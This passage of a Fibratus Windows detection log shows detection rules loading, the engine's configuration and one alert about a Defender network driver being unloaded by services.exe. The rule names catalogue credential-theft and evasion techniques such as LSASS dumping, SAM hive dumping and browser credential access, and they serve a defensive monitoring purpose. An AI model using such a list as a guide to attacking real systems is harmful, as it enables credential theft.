C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-20T20:23:59+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-20T20:23:59+01:00 level=info msg=bootstrapping with pid 14144. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-20T20:23:59+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false] mail=>[ enabled=>false content-type=>text/html to=>[] port=>25 use-template=>true] systray=>[ quiet-mode=>false sound=>true enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-threads=>false serialize-handles=>false serialize-images=>false serialize-pe=>false] + eventsource .................... [ enable-dns=>false enable-fileio=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] flush-interval=>1s enable-audit-api=>true enable-net=>true min-buffers=>16 max-buffers=>36 enable-image=>true enable-thread=>true enable-threadpool=>false enable-registry=>true enable-handle=>false buffer-size=>512 stack-enrichment=>true enable-vamap=>true enable-mem=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 max-backups=>15 level=>info formatter=>text log-stdout=>true max-age=>0] + output ......................... [ amqp=>[ vhost=>/ passive=>false url=>amqp://localhost:5672 enabled=>false timeout=>5s durable=>false routing-key=>fibratus tls-insecure-skip-verify=>false delivery-mode=>transient exchange=>fibratus exchange-type=>topic] elasticsearch=>[ healthcheck=>true healthcheck-interval=>10s bulk-workers=>1 enabled=>false healthcheck-timeout=>5s index-name=>fibratus timeout=>5s flush-period=>1s sniff=>false template-name=>fibratus gzip-compression=>false servers=>[http://127.0.0.1:9200] trace-log=>false] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true] http=>[ serializer=>json timeout=>5s endpoints=>[] method=>POST enabled=>false enable-gzip=>false tls-insecure-skip-verify=>false] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-sections=>false read-resources=>false enabled=>false excluded-images=>[svchost.exe] read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ fastscan=>true skip-registry=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-files=>false scan-timeout=>10s enabled=>false skip-allocs=>false skip-mmaps=>false excluded-files=>[] excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-20T20:24:08+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-20T20:24:10+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-20T20:26:00+01:00 level=info msg=sending alert: [Windows Defender driver unloading]. Text: Windows Defender driver C:\WINDOWS\system32\drivers\wd\WdNisDrv.sys unloaded by process C:\WINDOWS\system32\services.exe + Event(s): + Seq: 351675 + Pid: 1000 + Tid: 11472 + Type: UnloadImage + CPU: 7 + Name: UnloadImage + Category: image + Description: Unloads the module from the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-20 20:25:42.4668383 +0100 CET + Params: base_address➜ fffff8037a760000, checksum➜ 121631, default_address➜ 0, file_path➜ C:\WINDOWS\system32\drivers\wd\WdNisDrv.sys, image_size➜ 110592, pid➜ 0, signature_level➜ WINDOWS, signature_type➜ EMBEDDED + Metadata: technique.ref: https://attack.mitre.org/techniques/T1562/, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, tactic.id: TA0005, technique.id: T1562, rule.name: Windows Defender driver unloading, subtechnique.id: T1562.001, subtechnique.name: Disable or Modify Tools, subtechnique.ref: https://attack.mitre.org/techniques/T1562/001, technique.name: Impair Defenses + + Pid: 1000 + Ppid: 404 + Name: services.exe + Parent name: wininit.exe + Cmdline: C:\WINDOWS\system32\services.exe + Parent cmdline: wininit.exe + Exe: C:\WINDOWS\system32\services.exe + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [C:\WINDOWS\system32\services.exe] + Session ID: 0 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-20T20:28:07+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-20T20:28:07+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-20T20:28:08+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-20T20:29:07+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-20T20:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-20T20:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-20T20:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-20T20:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-20T20:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-20T20:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-20T20:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-20T20:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-20T20:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-20T20:29:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-20T20:29:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-20T20:29:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-20T20:29:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-20T20:29:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-20T20:29:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-20T20:29:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-20T20:29:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-20T20:29:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-20T20:29:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-20T20:29:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-20T20:29:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-20T20:29:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-20T20:29:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-20T20:29:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-20T20:29:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-20T20:29:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-20T20:29:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-20T20:29:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-20T20:29:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-20T20:29:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-20T20:29:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-20T20:29:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-20T20:29:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-20T20:29:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-20T20:29:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-20T20:29:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-20T20:29:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-20T20:29:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-20T20:29:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-20T20:29:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-20T20:29:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-20T20:29:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-20T20:29:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-20T20:29:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-20T20:29:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-20T20:29:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-20T20:29:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T20:29:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-20T20:29:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-20T20:29:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-20T20:29:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-20T20:29:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-20T20:29:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-20T20:29:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-20T20:29:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T20:29:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-20T20:29:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 